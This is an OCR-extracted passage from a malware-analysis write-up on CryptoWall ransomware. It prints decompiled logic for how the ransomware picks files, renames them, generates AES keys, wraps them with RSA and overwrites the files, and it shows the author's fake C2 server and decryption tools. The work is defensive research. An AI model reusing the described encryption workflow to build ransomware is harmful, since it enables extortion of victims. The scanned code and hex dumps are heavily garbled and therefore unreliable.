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https://github.com/ryancor/CryptoWall_Analysis/blob/master/tor_site_checksum_finder.py#L69

[ebp+var 24],
eax, [ebp+lpFindFileData]
eax,

cax
CompareCompressedFilename
esp,

eax, eax

short SN

ecx, [ebp+lpFindFileDatal]
ecx,

ecx
CompareCompressedExtension

esp,
eax, eax

short NN

1 4
If the file passes these two checks, then it moves on over to the last part of the equation; the

actual encryption located at 0x00412260 . We can skip the first few function calls as they
are not pertinent to what is about to happen. If you take a look at address ©0x00412358 ,
there is a subroutine that takes in three parameters; a file handle, our DuplicateKeyStruct,
and a file size. Stepping into the function, we can immediately tell what is happening:

if (ReadFileA(hFile, 1pBuffer, DuplicateKeyStruct->file_hash_size,
&1lpNumberOfBytesRead, 0) && lpNumberOfBytesRead) == DuplicateKeyStruct-
>file_hash_size{ if(memcmp(1lpBuffer, DuplicateKeyStruct->file_hash,
DuplicateKeyStruct->file_hash_size)) { isCompare = 1; 13}

The pseudo-code is telling us that if an MD5 hash of the file is present in the header, then its
already been encrypted. If this function returns isCompared to be true, then CryptoWall
moves on to another file and will leave this one alone. If it returns false from the
Comparel6ByteHeader () function call, the malware will append to the file’s extension by
using a simple algorithm to generate a three lettered string to place at the end. The
generation takes a timestamp, uses it as a seed, and takes that seed to then mod the first
three bytes by 26 then added to 97.

*(v8 + 2 * 1) = DataSizeBasedOnSeed(®, Ox3E8u) % 26 + 97;

This is essentially a rotation cipher, where you have a numerical variable checked by a
modulate to ensure it doesn’t go past alphanumeric values, then the addition to 97 rotates
the ordinal 45 times. As an example, if we have the letter ‘A’ |, then after this cipher, it ends
up becoming an ’"n’ . In conclusion, if the victim file is named hello.py , this subroutine
will rename itto hello.py.3xy .

Next, around address 0x004123F0 , the generation of an AES-256 key begins with another
call to Win32’s CryptAcquireContextW . The phProv handler gets passed over to be
used in CryptGenKey and CryptGetKeyParam .

if ( CryptGenKey(hProv, 0x6610, 1, &hKey) ): pbData_1

=0
if ( CryptGetKeyParam(hKey, 8, &pbData_1, &pdwDatalLen_1, 0,

; pdwDatalLen_1 = 4;
4)
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The hexadecimal value of 0x6610 shown above tells us that the generated key is going to
be AES-256 as seen in MS-DOCS. Once the hKey address to which the function copies the
handle of the newly generated key is populated, CryptGetKeyParam will be used to make
the key and transfer it into pbbData ; a pointer to a buffer that receives the data. One last call
in this function we labeled as GenerateAESKey() gets called whichis CryptExportKey .
This will take the handle to the key to be exported and pass it the function, and the function
returns a key BLOB. The second parameter of the GenerateAESKey() will hold the
aes_key .

[ebp+hKey] ,
[ebpt+aes_key],
[ebp+pdwDatalen],
[ebp+ppKeyBlob],

eax, [ebp+hKey]

eax ;7 a5
ecx, [ebp+ppKeyBlob]
ecx ; a4
edx, [ebp+pdwDataLen]
edx ; a3
eax, [ebp+aes_key]
eax ; a2
ecx, [ebp+phProv]

ecx 7 hProv
GenerateAESKey

esp,

eax, eax
loc_41273F

[ebpt+encrypted_AESkey buffer],
[ebp+encrypted key buffer size],
edx, [ebp+encrypted key buffer size]
edx ; aé

eax, [ebp+encrypted AESkey buffer]
eax ; a5

ecx, [ebp+pdwDataLen]

ecx ;7 pbDataLen

edx, [ebptaes_key]

edx ; aes_key

eax, [ebp+DuplicateKeyStruct]

ecx, [eax+4]

ecx ; someKeySize

edx, [ebp+DuplicateKeyStruct]

eax, [edx]

eax ; DuplicateKeyStruct
EncryptRESKey

esn.

The next call is one of the most important ones to understand how eventually we can decrypt
the files that CryptoWall infected. EncryptAESKey() uses the pointer to

DuplicateKeyStruct->rsa_key to encrypt our AES key into a 256 byte blob. Exploring
inside this function call is fairly simple; it uses CryptbDuplicateKey and CryptEncrypt to
take our public RSA 2048-bit key from earlier, our newly generated AES key to duplicate
both keys to save for later, and encrypt the buffer. The fifth parameter is our data out in this
case and once the function returns, what we labeled as encrypted_AESkey_buffer will
hold our RSA encrypted key.

At around address 004124A5 , you will see two calls to wWriteFileA . The first call will
move the 16 byte MD5 hash at the top of the victim file, and the second call will write out
the 256 bytes of encrypted key buffer right below the hash.
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https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id

[ XoK J M victim_file.txt.3xy
000 (91323586 F3700899 CA31FCF3 DOAZAFZ |9F3F6F9E BB7ED438 @3FBB348 C(BEE01ZD DF43ABFC 93Db4B83 BFOOA3E9 852?5FE

@30 »g a X @
960 | 909247DA BC7(D221 56171E7@ DSOD4LE6 D627SALF B3SE7@S6 @618631A FC979(28 EC87BAGZ (7787667 9EGBDIEE 66802593 |l01G/°1“IV_p’ Lfs'Z EApV ¢ ou( ia qungh—Qf—E{
090 | 42534470 D436C 6 65 2046963 656E7365 DAOAA3EF 78797260 67687420 28632020 03138 B4AGF GBGE204D) |BSD 2-Clause License Copyright (c) 2018, John M
@C0 | 634D6173 7465720A 416(6(20 72696768 74732072 65736572 7665642E QABAS265 64697374 72696275 74696F6E 20616E64| | cMaster All rights reserved. Redistribution and

@F0 | 20757365 20696E20 736F7572 63652061 GE642062 696E6172 7920666F 7260732C 20776974 68206F72 20776974 686F7574 use in source and binary forms, with or without
120 | 0A6D6F64 69666963 6174696F GE2C2061 72652070 65726069 74746564 2070726F 76696465 64207468 61742074 68652066| | modification, are permitted provided that the f
150 | 6F6CECEF 77696E67 20636FGE 64697469 GFGEV320 61726520 6D65743A DADAZA2@ 52656469 73747269 62757469 6F6E7320| |ollowing conditions are met: * Redistributions

180 | 6F662073 6F757263 6520636F 6465206D 75737420 72657461 696E2074 68652061 626F7665 20636F70 79726967 6874206E|| |of source code must retain the above copyright n
180 | 6F746963 652C2074 6869730A 20206(69 7374206F 6620636F 6E646974 GI6FGE73 20616E64 20746865 20666F6C 6C6F7769| |otice, this list of conditions and the followi
1E0 | 6E672064 6973636C 61696D65 72ZE@ADA 2A205265 64697374 72696275 74696FGE 7320696E 2062696E 61727920 666F726D| |ng disclaimer. * Redistributiens in binary form
210 | 206D7573 74207265 70726F64 75636520 74686520 61626F76 6520636F 70797269 67687420 GE6F7469 63652(0A 20207468 must reproduce the above copyright notice, th
240 | 6973206C ©9737420 6F662063 GFBEG469 74696F6E 7320616E 64207468 6520666F 6CECEF77 6IGE6720 64697363 6(61696D|| |is list of conditions and the following disclaim
270 | 65722069 6E207468 6520646F 63756065 6E746174 6O6FEEGA 2020616E 642F6F72 206F7468 65722060 61746572 69616(73| |er in the documentation and/or other materials
2A0 | 2070726F 76696465 64207769 74682074 GBE52064 69737472 69627574 GUGFGEZE QADAS448 49532053 4F465457 41524520 provided with the distribution. THIS SOFTWARE

2D0 | 49532050 524FS649 44454420 42592054 48452043 4F505952 49474854 20484F4C 44455253 20414E44 20434F4E 54524942| | IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIB
300 | 55544F52 53202241 53204953 2Z0A414E 4420414E 59204558 50524553 53204F52 20494D50 40494544 20574152 52414E54| |UTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANT
330 | 49455320 20494E43 40554449 4E472020 42555420 4E4F5420 4C494D49 54454420 S44F2(20 5448450A 494D504C 49454420| | IES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED

36@ | 57415252 414E5449 4553204F 46204D45 52434841 4E544142 49404954 5920414 44204649 544E4553 5320464F 52204120| | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A

390 | 50415254 4943554C 41522050 5552504F 53452041 5245044 4953434C 41494D45 442E2049 4EZO4E4F 20455645 4E542053| | PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT S
300 | 48414C4C 20544845 20434F50 59524047 48542048 4F4(4445 52204F52 20434F4E 54524942 55544F52 53204245 204C4941)| |HALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIA
3F@ | 424CA50A 464F5220 414E5920 44495245 43542020 494E4449 52454354 Z2C20494E 43494445 4E54414C 20205350 45434941)| |BLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIA
420 | 4C202045 58454050 4415259 2C204F52 20434F4E 53455155 454E5449 414C0A44 41404147 45532028 494E434C 5544494F|| | L, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDIN
450 | 47202042 55542@4E 4F54204C 494D4054 45442054 4F202050 524F4355 52454D45 4ES4204F 46205355 42535449 54555445| | G, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
480 | 20474F4F 4453204F S520A5345 52564943 45533820 4(4F5353 204F4620 5553452C 20444154 412(204F 52205052 4F464954| | GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFIT
480 | 533B204F 52204255 53494E45 53532049 4E544552 52555054 494F4E29 20484F57 45564552 DA434155 53454420 414£4420| | S5; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND

4EQ | 4F4E2041 4E592@54 48454F52 59204F46 20404941 42494049 54592020 57484554 48455220 494E2043 4F4E5452 4143542C) |ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
510 | 20535452 49435420 4494142 49404954 592C0A4F 5220544F 52542028 494E434C 5544494F 47204E45 474C4947 454E4345) STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
540 | 204F5220 4F544845 52574953 45292041 52495349 4E472049 4E20414E 59205741 59204F55 54204F46 20544845 20555345 OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
570 | 0A4F4620 54484953 20534F46 54574152 45202045 56454E20 49462041 44564953 4544204F 46205448 4520504F 53534942 OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIB
5A@ | 494C4954 S92@4F46 20535543 48204441 40414745 2E ILITY OF SUCH DAMAGE.

Signed Int || le, dec -+

0xACB out of 0x5B5 bytes

Screenshot shows 128 byte encrypted key buffer, but it was a copy mistake; Supposed to be
256 bytes of encrypted key text.

The picture above shows what an example file will look like up until this stage of the
infection. The plaintext is still intact, but the headers now hold the hash of the file and the
encrypted AES key used to encrypt the plaintext in the next phase. ReadFileA will shortly
get called at 0x0041261B , which will read out everything after the header of the file to start
the encryption process.

22/26



if ( (*(ReadFile + 44@))(v50, V51, V52, V53, v54) )

{
if ( lpNumberOfBytesRead == nNumberOfBytesToRead )
{
encrypted_buffer_out = 0;
encrypted_key_buffer_size_1 = 0;
if ( DuplicateAESKey_And_Encrypt(
hKey,
isFinalBlob,
ppKeyBlob,
actual_file_contents,
1pNumberOfBytesRead,
&encrypted_buffer_out,
&encrypted_key_buffer_size_1) )

WriteFile = ReturnFunctionName(
hHandle,
encrypted_buffer_out,
encrypted_key_buffer_size_1,
&lpOverlapped,
0);
if ( (*(WriteFile + 444))(hFile, lpBuffer, v58, v59, v6@)
&& 1pOverlapped == encrypted_key_buffer_size_1 )
{
counter += lpNumberOfBytesRead;
isSuccess = 1;
v107 += encrypted_key_buffer_size_1;
FlushFileBuffer = ReturnFunctionName(hHandle, v95);
(*(FlushFileBuffer + 448))(v62);
}
FreeVirtualMemory(encrypted_buffer_out);

Now that 272 bytes belong to the header, anything after that we can assume is free range
for the next function to deal with. We don’t really need to deep dive too much into what
DuplicateAESKey And_Encrypt() does as itis pretty self explanatory. The file contents
are encrypted using the already generated AES key from above that was passed into the
HCRYPTKEY *hKey variable. The sixth parameter of this function is the pointer which will
contain the encrypted buffer. At this point the ransomware will replace the plaintext with an
encrypted blob, and the AES key is free’d from memory.

0008 | E91249C3 5401F2B4 A1A131BD 992DF7AG @BABEBZE EGGE9@BS 6B29BB20 A36D3BOZ E@5A1382 61773619 BFZ9AEBC 7(73F56B
@30 | BAA33EF7 4FC10A61 36@BF9B3 FIEC@@9@ 223@94DA D784ABCE GESFFEE4 AD2@AS29 6(73@1EZ AEC841DA F1FOEFB6 15333C1D
@60 | BDCBB5DY 11D546C8 DOEG1FDB EBE@SFBF 41A648D2 437(39BC B76DAS4E 6FSCED4E E936D727 ZF6@3ES7 49D6BBG4 B7(BFSOE
1290 | F338C96B 7ATF46D3 (2670BAA 2F4611B4 4C4812E1 484AC798 9BE36DSC 3ES897FA 8BGEBBCA DBEB2@BD E7E632AD AC743D8C
@03 | 83951033 B7D32041 2CC55458 OCDB11ED 2EF1A@ZF BCD17447 A338FC@D 3@7718DC E94BBAF6 @C2B186D AD7109EC 6B3B3(72
@F@ | 12723345 73E974A8 (55C22FE S2DBBS9Z GESGF364 DSDEESTA (35E2914 A7C8D447 ECDAFEDS SEBOSCDD D6C4B0AL 594A35A0
120 | ESEDAEBE B73059BB CA32BABE 27B13E2D

Example of a fully encrypted file

After the file is finished being processed, the loop will continue until every allow listed file
type on disk is encrypted.
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Decrypting Victim Files

Unfortunately in this case, it is only possible to write a decryption algorithm if you know the
private key used which is generated on the C2 side. This is going to be a two step process
as in order to decrypt the file contents, we need to decrypt the AES key that has been RSA
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encrypted.

The fake C2 server | wrote also includes an area where a private key is generated at the
same time that the public key is generated. So in my case, all encrypted files on my VM are
able to be decrypted.

Side Note: In order to run this C2 server, you have to place the malware’s hardcoded 2P
addresses in /etc/hosts on Windows. Then make sure the server has started before
executing the malware as there will be a lot of initial verification going back and forth
between the malware and ‘C2’ to ensure its legitimacy. Your file should look like this:

127.0.0.1 proxyl-1-1.i2p127.0.0.1 proxy2-2-2.i2p

Another reason why we un the fake C2 server before executing the malware is so we don’t
end up in some dead lock state. The output from our server will look something like this:

C:\Cryptowall\> python.exe fake_c2_i2p_server.py

* Serving Flask app "fake_c2_server" (lazy loading)
127.0.0.1 - - [31/Mar/2020 15:10:06] "f33mGET / HTTP/1.1f0m" 404 -

Data Received from Cryptowall Binary:

[!'] Found URI Header: 93nl4chwb3qgpm

[+] Created key from URI: 13349bchmnpqw

[!] Found ciphertext:
ff977e974ca21f20a160ebb12bd99bd616d3690c3f4358e2b8168154929728a189c8797bfal2cfad31ee9c
[+] Recovered plaintext:
b'{1l|cryptl|C6B359277232C8E248AFD89C98E96D65|0|2|1]||55.59.84.254}"

[+] Sending encrypted data blob back to cryptowall processl127.0.0.1 - - [31/Mar/2020
15:11:52] "f37mPOST /93n14chwb3qpm HTTP/1.1f0m" 200

Step by step, the first thing we have to do is write a program that imports the private key file.
| used C++ for this portion because for the life of me | could not figure out how to mimic the
CryptDecodeObjectEx API call that decodes the key ina X509 _ASN_ENCODING and
PKCS_7_ASN_ENCODING format. Once you have the key blob from this function, we can use
this function as the malware does and call CryptImportKey , but this time it is a private key
and not a public key ;). Since the first 16 bytes of the victim file contains the MD5 hash of
the unencrypted file, we know we can skip that part and focus on the 256 bytes after that
part of the header. The block size is going be 256 bytes and AES offset will be 272 , since
that will be the last byte needed in the cryptographic equation. Once we get the blob, it is
now okay to call CryptDecrypt and print out the 32 byte key blob:
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https://github.com/ryancor/CryptoWall_Analysis/blob/master/fake_c2_i2p_server.py#L37

if (!CryptDecrypt(hKey, NULL, FALSE, 0, keyBuffer, &bytesRead)) ({ printf("
[-]1 CryptDecrypt failed with error 0x%.8X\n", GetLastError()); return
FALSE; } printf("[+] Decrypted AES Key => "); for(int i = ©0; i < bytesRead; i++)
{ printf("%02x", keyBuffer[i]); }

You can find the whole script here. Now that we are half way there and we have an AES key,
the last thing to do is write a simple python script that will take that key / encrypted file and
decrypt all remaining contents of it after the 272nd byte.

enc_data_remainder = file_data[272:]cipher = AES.new(aes_key, AES.MODE_ECB)
plaintext = cipher.decrypt(enc_data_remainder)

The script to perform this action is in the same folder on Github. If you want to see how the
whole thing looks from start to finish, it will go like this:

=» decrypt_aes_key.exe priv_key_1.pem loveme.txt

[+] Initialized crypto provider

[+] Successfully imported private key from PEM file

[!] Extracted encrypted AES keys from file

[+] Decrypted AES Key =>
08020000106600002000000040b4247954af27637cedf7fabfelccfc6cd55fc724caa840f82848ea4800b3
[+] Successfully decrypted key from file

-» python decrypt_file.py loveme.txt
40b4247954af27637cedf7fabfelccfc6cd55fc724caa840182848ea4800b320[+] Decrypting
file[+] Found hash header => e91049c35401f2b4alal31bd992df7a6[+] Plaintext from file:
b'"hello world" \r\n\'

Conclusion

Overall this was one of the biggest leading cyber threats back in 2013, and the threat actors
behind this malicious virus have shown their years of experience when it comes to
engineering a ransomware such as this.

Although this ransomware is over 6 years old, it still fascinated me so much to reverse
engineer this virus that | wanted to share all the tooling | have wrote for it. Every step of the
way their was another challenge to overcome, whether it was knowing what the malware
expected the encrypted payload to look like coming back from the C2, figuring out how to
decrypt their C2 12P servers using RC4, decompressing the ransomware note using some
hard to mimic LZNT1 algorithm, or even understanding their obscure way of generating
domain URI paths... it was all around a gigantic puzzle for a completionist engineer like
myself.

Here is the repository that contains all the programs | wrote that helped me research
CryptoWall.
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https://github.com/ryancor/CryptoWall_Analysis/blob/master/In_Progress/decrypt_aes_key.cpp
https://github.com/ryancor/CryptoWall_Analysis/blob/master/In_Progress/decrypt_file.py
https://github.com/ryancor/CryptoWall_Analysis

Thank you for following along! | hope you enjoyed it as much as | did. If you have any
questions on this article or where to find the challenge, please DM me at my Instagram:
@hackersclub or Twitter: @ringoware

Happy Hunting :)
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